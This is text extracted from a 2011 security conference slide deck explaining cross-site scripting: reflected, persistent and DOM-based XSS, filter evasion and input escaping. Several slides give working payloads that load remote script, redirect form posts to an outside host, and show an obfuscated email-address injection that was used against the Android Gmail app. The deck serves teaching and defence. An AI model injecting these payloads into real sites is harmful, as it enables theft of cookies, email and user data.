Cross Site Scripting and Hacking Websites

Cross Site Scripting for Dummies

genda

o What is XSS

o XSS from simple to complex

Simple

Advanced

IDS evasion

Stealing data from servers

Creating zombies

o 15 demos, live or recreated

o Protection

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 2

What is cross site scripting ?

o No 2 on the OWASP top 10 list

o XSS is a special case of injection

Injection into a Web page

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 3

Inection attacks

o If an application accepts inputs from the user

and

o If that application uses these inputs in a specific context

then

o The inputs can have special effects

o For XSS, the context is the web page

Html code

Javascript code

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 4

Examples: HTML

o Ford motors

o The daily express

o HEIG-VD...

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 5

Examples: Javascript

o Run scripts from other sites: NYSE

o Stealing cookies

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 6

Reflexive vs Persistent

o If the attack is coded in the URL, we have to trick the

victim into clicking on a link

The server will reflect the attack back to the victim

o If we can store the attack on the web site, it will be

persistent.

Typical example: guestbook, forums, comments

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 7

Example: persistent XSS

o La-nai CMS

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 8

DOM based XSS

o In DOM based XSS, it is not the web server that inserts the

malicious data into the document, but the document itself!

pos=document.URL.indexOf("name=")+5;

docuemnt.write(

document.URL.substring(pos,document.URL.length) );

o If a name anchor (#) is used, the server will not see the attack

o If the file local, the attack will execute with hi privileges,

without a server

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 9

IDS Evasion

o Some characters or keywords my be blocked by the

server or a filter

Use encoding:

• Character encoding: %3d, = , ...

• String.fromCharCode(120,115,115)

• Regexp /hello world/ = “hello world "

• Avoid script: <img src=“/“ onerror=alert(“xss”)> o Abuse Javascript frameworks

o Work on the DOM model

SeIDS Evasion

o Abusing the javascript framework

field1=" onclick=“$('form').attr('action', 'http://www.objectif-securite.ch/post')"> <p id=“

o Abusing the DOM model

field1="onclick= var e=document.createElement('scr‘+'ipt'); e.src='http://osq.ch/xss.js‘; document['bo' +'dy'].appendChild(e) "& field2=" onclick=attack() "

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 11

Exploiting the server

o In some cases, the server needs to render the HTML

pages

It will not execute javascript but....

o Using the embed command

Gives access to local files

Allows to do internal scans!

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 12

New sources of XSS

o iPhone and Android apps can make use of HTML, CSS and

JavaScript

o In december, Ben Schmidt, found a hole in the Android Gmail App that allowed to inject javascript into e-mail addresses

It made it possible to sliently forward all the e-mail.

o Email address :

" onload='var f=String.fromCharCode;var d=document; var s=d.createElement(f(83,67,82,73,80,84)); s.src=f(47,47,66,73,84,46,76,89,47,105,51,51,72,100,86);d.getElementsByT agName(f(72,69,65,68))[0].appendChild(s);' "@somedmn.com

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 13

JavaScript Zombies

o What can you do once you can inject Javascript?

o Ex: BeEF: the browser exploitation framework

Key logger

Sends browser exploits

Remote commands the browser to do port scans

o HEIG

Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 14

How to protect: it should be easy

o Never trust user inputs

Do the following two things:

o Validation: accept only expected inputs

o Escaping: remove side-effects when using user inputs

print htmlentities($user%input);

print htmlentities(“hello world”);